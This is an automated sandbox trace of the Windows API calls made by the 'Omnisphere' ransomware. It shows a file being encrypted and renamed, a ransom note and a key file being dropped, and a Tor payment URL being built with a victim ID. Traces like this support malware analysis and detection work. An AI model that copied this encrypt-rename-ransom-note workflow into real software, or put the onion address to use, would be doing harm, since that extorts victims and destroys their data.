[0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.769] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.770] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.771] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.772] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.773] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.773] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.773] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.773] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.773] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.773] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.773] CryptDestroyKey (hKey=0x1639628) returned 1 [0148.773] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0148.773] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x4fa, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0148.773] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0148.774] GetProcessHeap () returned 0x1600000 [0148.774] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x312) returned 0x1730d48 [0148.774] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk.omnisphere")) returned 1 [0148.776] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.omnisphere.id" [0148.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell ise (x86).lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0148.776] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0148.778] CloseHandle (hObject=0x3b4) returned 1 [0148.778] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0148.778] CloseHandle (hObject=0x388) returned 1 [0148.778] SetEndOfFile (hFile=0x3c0) returned 1 [0148.778] FlushFileBuffers (hFile=0x3c0) returned 1 [0148.903] CloseHandle (hObject=0x3c0) returned 1 [0148.903] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell") returned 1 [0148.904] GetProcessHeap () returned 0x1600000 [0148.904] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1731360 [0148.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0148.904] GetProcessHeap () returned 0x1600000 [0148.904] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdaf0 [0148.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdaf0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0148.904] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0148.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.904] GetProcessHeap () returned 0x1600000 [0148.904] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726998 [0148.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726998, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0148.904] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0148.904] GetProcessHeap () returned 0x1600000 [0148.904] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf0) returned 0x1731068 [0148.904] PathCombineW (in: pszDest=0x1731068, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" [0148.904] GetProcessHeap () returned 0x1600000 [0148.905] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1723628 [0148.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.905] WriteFile (in: hFile=0x3c0, lpBuffer=0x1723628*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x1723628*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0148.905] CloseHandle (hObject=0x3c0) returned 1 [0148.909] GetProcessHeap () returned 0x1600000 [0148.909] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1731360 | out: hHeap=0x1600000) returned 1 [0148.909] GetProcessHeap () returned 0x1600000 [0148.909] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x17305d8 [0148.909] PathCombineW (in: pszDest=0x17305d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" [0148.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.910] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0148.910] CloseHandle (hObject=0x3c0) returned 1 [0148.910] GetProcessHeap () returned 0x1600000 [0148.910] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17305d8 | out: hHeap=0x1600000) returned 1 [0148.910] GetProcessHeap () returned 0x1600000 [0148.910] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172fb18 | out: hHeap=0x1600000) returned 1 [0148.910] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x96df2ecc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Windows PowerShell ISE.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0148.910] GetProcessHeap () returned 0x1600000 [0148.911] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf6) returned 0x1731160 